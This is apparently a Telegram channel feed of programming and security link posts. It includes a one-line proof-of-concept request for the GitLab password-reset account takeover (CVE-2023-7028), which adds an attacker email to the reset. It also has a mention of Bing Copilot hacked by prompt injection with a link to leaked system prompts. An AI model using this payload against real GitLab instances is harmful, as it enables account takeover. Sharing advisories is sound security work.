Do It by Code

GitLab Critical Bug Account Takeover via Password Reset without user interactions - CVE-2023-7028

∆ POC :-
user[email][]=valid@email.com&user[email][]=attacker@email.com

Read More:- https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/

GitLab Docs

GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 | GitLab Docs

Learn more about GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).

32 views12:13

Do It by Code

Xbox Multiplayer Analysis Tool
Article, Comments

GitHub

GitHub - microsoft/xbox-multiplayer-analysis-tool: Xbox Multiplayer Analysis Tool is a network traffic capturing tool to aid in…

Xbox Multiplayer Analysis Tool is a network traffic capturing tool to aid in the debugging of Xbox services issues and other network traffic from both a PC and Xbox development console. - microsoft...

37 views04:43

Do It by Code

Authorization Bypass vulnerability in POST SMTP Mailer, a WordPress plugin with over 300,000+ active installations

PoC: https://github.com/UlyssesSaicha/CVE-2023-6875
Blog: https://www.wordfence.com/blog/2024/01/type-juggling-leads-to-two-vulnerabilities-in-post-smtp-mailer-wordpress-plugin/
Security Advisory: https://nvd.nist.gov/vuln/detail/CVE-2023-6875

29 views13:28

Do It by Code

The Ultimate Docker Cheat Sheet
Article, Comments

Devopscycle

The Ultimate Docker Cheat Sheet

Get your Docker Cheat Sheet as PDF or PNG. In this article, you learn how to write Dockerfiles, build images, and run them as container.

26 views14:16

Do It by Code

Vanna.ai: Chat with your SQL database
Article, Comments

GitHub

GitHub - vanna-ai/vanna: 🤖 Chat with your SQL database 📊. Accurate Text-to-SQL Generation via LLMs using Agentic Retrieval 🔄.

🤖 Chat with your SQL database 📊. Accurate Text-to-SQL Generation via LLMs using Agentic Retrieval 🔄. - vanna-ai/vanna

30 views20:00

Do It by Code

Forwarded from DevTwitter | توییت برنامه نویسی

توی این ریپو لیست بلاگ‌های مربوط به مهندسی نرم‌افزار هست و خیلی تکمیله.

https://github.com/kilimchoi/engineering-blogs

@DevTwitter | <Amirreza/>

34 views15:09

Do It by Code

AES input size is exactly 16 bytes. But you can apply AES endlessly if you divide your data into a stream of blocks of 16 bytes.

34 views18:19

Do It by Code

Prison. Bankruptcy. Suicide. How a software glitch ruined lives
Article, Comments

CNN

Prison. Bankruptcy. Suicide. How a software glitch and a centuries-old British company ruined lives

After a piece of software incorrectly showed that money had gone missing, a trusted, centuries-old British government corporation used its financial and legal might to convict and bankrupt hundreds of people who ran its branches. Some were left so distressed…

32 views07:52

Do It by Code

ARMv8 AArch64/ARM64 Full Beginner's Assembly Tutorial
Article, Comments

32 views09:10

Do It by Code

Speedbump – a TCP proxy to simulate variable network latency
Article, Comments

GitHub

GitHub - kffl/speedbump: TCP proxy for simulating variable, yet predictable network latency :globe_with_meridians::hourglass_flowing_sand:

TCP proxy for simulating variable, yet predictable network latency :globe_with_meridians::hourglass_flowing_sand: - kffl/speedbump

29 views14:30

Do It by Code

Bing chatbot (Copilot) was hacked using prompt injection.
Article

GitHub

GitHub - mshojaei77/System-prompts: spill secrets of some LLMs

spill secrets of some LLMs. Contribute to mshojaei77/System-prompts development by creating an account on GitHub.

35 views15:58

Do It by Code

Show HN: htmldocs - Typeset and Generate PDFs with HTML/CSS
Article, Comments

htmldocs

htmldocs - Build and generate documents with React

Create and generate professional documents and PDFs using React components. htmldocs offers a simple, powerful API for automated document generation and management.

39 views15:27

Do It by Code

Forwarded from M CyberBlack

سلام دوستان وقت بخیر . کسی با insecure registry docker کار کرده که بتونه ریپو رو از nexus دریافت کنه و آدرسurl رو تو فایل daemon.json بزاره ؟ ممنون میشم اگر راهنمایی کنید مرسی

39 views10:28

Do It by Code

Forwarded from Arman

M CyberBlack

sudo bash -c 'cat > /etc/docker/daemon.json <<EOF
{
  "insecure-registries" : ["https://docker.example .com"],
  "registry-mirrors": ["https://docker.example.com"]
}
EOF'

systemctl restart docker

👍1

38 views10:28

Do It by Code

#docker docker useful commands:

Tom's Hardware

Driver hack lets you run Linux after Windows BSODs, no reboot required — bug check fallback allows running programs after the OS…

Working as intended.

38 viewsedited 13:36

Do It by Code

Nuclear battery produces power for 50 years without needing to charge
Article, Comments

Driver hack lets you run Linux after Windows BSODs, no reboot required
Article, Comments

The Independent

Nuclear battery could give us smartphones that never need to charge

Betavolt says its battery could power mobile phones that never need to be charged and drones that can fly forever

39 viewsedited 14:04

Do It by Code

Silos are fine, as long as there is an API between them
Article, Comments

Substack

DevOps: Don't destroy silos, transform them

"Destroying silos" is a clumsy solution to team isolation

42 views16:07

Do It by Code

Dumping Firmware for fun and learning [pdf]
Article, Comments